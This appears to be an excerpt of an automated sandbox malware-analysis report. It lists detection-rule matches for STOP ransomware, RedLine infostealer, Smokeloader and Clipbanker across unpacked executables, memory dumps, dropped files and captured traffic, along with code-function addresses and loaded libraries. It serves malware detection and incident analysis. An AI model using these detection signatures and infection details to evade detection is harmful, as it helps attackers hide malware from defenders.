Source: 13.2.4149.exe.42815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.4149.exe.42815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.D5C1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.D5C1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.2.B666.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.B666.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.41b2d5e.5.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.2355.exe.4100000.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 21.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 21.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 8.2.4FC4.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.4FC4.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 36.2.B03B.exe.40515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 36.2.B03B.exe.40515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 26.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 26.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.4149.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.4149.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.0.F0EE.exe.9d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects downloader / injector Author: ditekSHen
Source: 7.2.4FC4.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.4FC4.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 39.2.89B0.exe.40915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 39.2.89B0.exe.40915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 39.2.89B0.exe.40915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 39.2.89B0.exe.40915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 20.2.B666.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 20.2.B666.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.D5C1.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.D5C1.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.4149.exe.40a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.4149.exe.40a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.4149.exe.41115a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.4149.exe.41115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.4149.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.4149.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 36.2.B03B.exe.40515a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 36.2.B03B.exe.40515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 20.2.B666.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 20.2.B666.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000024.00000002.694159919.0000000002504000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.755964328.00000000041E2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000017.00000002.677639778.000000000404D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.633102738.0000000002350000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000019.00000002.733370721.0000000002408000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000016.00000002.676645337.0000000002460000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.628268073.0000000004038000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000027.00000002.692310620.0000000003FD0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000011.00000002.660308358.0000000004070000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.636971935.0000000004007000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000019.00000002.733202307.0000000002390000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.798554583.0000000002458000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.566464697.000000000263A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000016.00000002.678257505.00000000025C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000002.661077673.0000000004025000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.564952792.0000000002530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000007.00000002.631348462.000000000403E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.633423199.0000000002388000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D5C1.exe PID: 6912, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: D5C1.exe PID: 6964, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4FC4.exe PID: 7024, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4FC4.exe PID: 3536, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4149.exe PID: 4132, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4149.exe PID: 1900, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4149.exe PID: 4588, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4149.exe PID: 5672, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: B666.exe PID: 6804, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: B666.exe PID: 4624, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4149.exe PID: 3720, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4149.exe PID: 5496, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 4149.exe PID: 7004, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\FB94.exe, type: DROPPED	Matched rule: Detects downloader / injector Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\5542.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 524

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412ECC	0_2_00412ECC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041148F	0_2_0041148F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004128A3	0_2_004128A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410F3E	0_2_00410F3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004109ED	0_2_004109ED
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00412ECC	4_2_00412ECC
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_0041148F	4_2_0041148F
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_004128A3	4_2_004128A3
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_00410F3E	4_2_00410F3E
Source: C:\Users\user\AppData\Roaming\uehwfht	Code function: 4_2_004109ED	4_2_004109ED
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0410E6E0	5_2_0410E6E0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0410C760	5_2_0410C760
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0410B000	5_2_0410B000
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0410B0B0	5_2_0410B0B0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_041100D0	5_2_041100D0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_041218D0	5_2_041218D0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_041030EE	5_2_041030EE
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0412F9B0	5_2_0412F9B0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0412E9A3	5_2_0412E9A3
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0410CA10	5_2_0410CA10
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_04110B00	5_2_04110B00
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_0410DBE0	5_2_0410DBE0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00419F90	6_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040C070	6_2_0040C070
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0042E003	6_2_0042E003
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0042F010	6_2_0042F010
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00410160	6_2_00410160
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040D240	6_2_0040D240
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0044237E	6_2_0044237E
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_004344FF	6_2_004344FF
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00449506	6_2_00449506
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0043E5A3	6_2_0043E5A3
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0044B5B1	6_2_0044B5B1
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040A660	6_2_0040A660
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0041E690	6_2_0041E690
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040274E	6_2_0040274E
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040A710	6_2_0040A710
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040F730	6_2_0040F730
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0044D7A1	6_2_0044D7A1
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0042C804	6_2_0042C804
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0044D9DC	6_2_0044D9DC
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00449A71	6_2_00449A71
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00443B40	6_2_00443B40
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0044ACFF	6_2_0044ACFF
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040DD40	6_2_0040DD40
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040BDC0	6_2_0040BDC0
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0042CE51	6_2_0042CE51
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00420F30	6_2_00420F30
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00449FE3	6_2_00449FE3

Source: C:\Windows\explorer.exe	Section loaded: windows.web.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: lz32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: lz32.dll

Source: XandETC.exe.24.dr

Static PE information: Number of sections : 11 > 10

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.2355.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.3.2355.exe.3ff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.2355.exe.42c0000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 7.2.4FC4.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.4FC4.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.D5C1.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.D5C1.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 18.2.B666.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 18.2.B666.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.4100ee8.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.4149.exe.41115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.4149.exe.41115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 19.2.2355.exe.4100000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 5.2.D5C1.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.D5C1.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.4149.exe.40a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.4149.exe.40a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.4149.exe.42815a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
